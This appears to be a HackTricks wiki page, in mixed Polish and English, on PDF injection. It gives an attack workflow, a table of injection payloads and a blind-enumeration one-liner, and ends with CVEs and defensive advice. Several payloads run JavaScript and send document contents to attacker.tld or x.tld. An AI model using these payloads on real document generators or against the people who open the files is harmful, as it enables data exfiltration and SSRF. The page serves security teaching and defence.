PDF Injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Jeżeli twoje dane wejściowe są odzwierciedlane wewnątrz pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby uruchomić JavaScript, przeprowadzić SSRF lub wykraść zawartość PDF. PDF syntax is extremely permissive – if you can break out of the string or dictionary that is embedding your input you can append totally new objects (or new keys in the same object) that Acrobat/Chrome will happily parse. Since 2024 a wave of bug-bounty reports have shown that wystarczy jeden niezabezpieczony nawias lub back-slash for full script execution.
TL;DR – Nowoczesny przebieg ataku (2024-2026)
- Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do (parenthesis string),
/URI ( … )lub pola/JS ( … )w wygenerowanym pliku PDF. - Inject
)(closing the string) followed by one of the primitives below and finish with another opening parenthesis to keep the syntax valid. - Dostarcz złośliwy PDF ofierze (lub do backendu, który automatycznie renderuje plik – świetne dla blind bugs).
- Your payload runs in the PDF viewer:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (zobacz CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Przykład (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Pierwsze ) zamyka oryginalny ciąg URI, następnie dodajemy nowy słownik Action, który Acrobat wykona, gdy użytkownik kliknie link.
Przydatne Injection Primitives
| Cel | Payload Snippet | Uwagi |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Wykonuje się natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Działa w PDFium & Acrobat, jeśli kontrolujesz adnotację /Link. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Połącz z this.getPageNthWord w JS, aby wykradać zawartość. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Tak samo jak wyżej, ale celuj w URL wewnętrzny — świetne, gdy PDF jest renderowany przez serwisy back-office, które honorują /URI. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Dołącz do słownika Page/Annotation/Form, aby uruchomić przy otwarciu/aktywacji. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Jeśli biblioteka pozwala wstrzykiwać znaki nowej linii, możesz stworzyć całkowicie nowe obiekty. |
Embedded Actions as Injection Targets
PDF viewers traktują embedded actions takie jak /OpenAction i /AA (Additional Actions) jako funkcje pierwszej klasy, które mogą się uruchomić przy otwarciu dokumentu lub gdy wystąpi konkretne zdarzenie. Jeśli możesz wstrzyknąć do dowolnego słownika, który akceptuje akcje (Catalog, Page, Annotation, or Form field), możesz przyłączyć drzewo /AA i wywołać JavaScript przy otwarciu/aktywacji.
Example payload for generator-side object injection (zamknij oryginalny string/słownik i wstrzyknij /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Ten wzorzec odpowiada niedawnym problemom w jsPDF, gdzie dane kontrolowane przez atakującego przekazywane do addJS (lub do niektórych pól AcroForm) przerywają zamierzony ciąg JavaScript i wstrzykują słownik Additional Action.
Sztuczka ślepej enumeracji
Gareth Heyes (PortSwigger) opublikował jednolinijkowy skrypt, który enumeruje każdy obiekt wewnątrz nieznanego dokumentu – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file. See the white-paper “Portable Data exFiltration” for the full technique.
Rzeczywiste luki (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: attacker-controlled strings can close the JS literal and inject/AA→/O→/JavaScriptactions that fire on open/focus. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - Bug bounty 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in
/URI; report paid $10k after demonstrated SSRF to internal metadata host usingfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
Szybka ściągawka obronna
- Never concatenate raw user input inside
(…)strings or names. Escape\,(,)as required by §7.3 of the PDF spec or use hex strings<...>. - If you build links, prefer
/URI (https://…)that you fully URL-encode; blockjavascript:schemes in client viewers. - Strip or validate
/OpenAction,/AA(additional actions),/Launch,/SubmitFormand/ImportDatadictionaries when post-processing PDFs. - On the server side, render untrusted PDFs with a headless converter (e.g. qpdf –decrypt –linearize) that removes JavaScript and external actions.
- Keep PDF viewers up to date; PDF.js < 4.2.67 and Acrobat Reader before July 2024 patches allow trivial code execution.
- If you use client-side generators (e.g., jsPDF), never pass untrusted input into
addJSor AcroForm setters that end up inside PDF action dictionaries.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


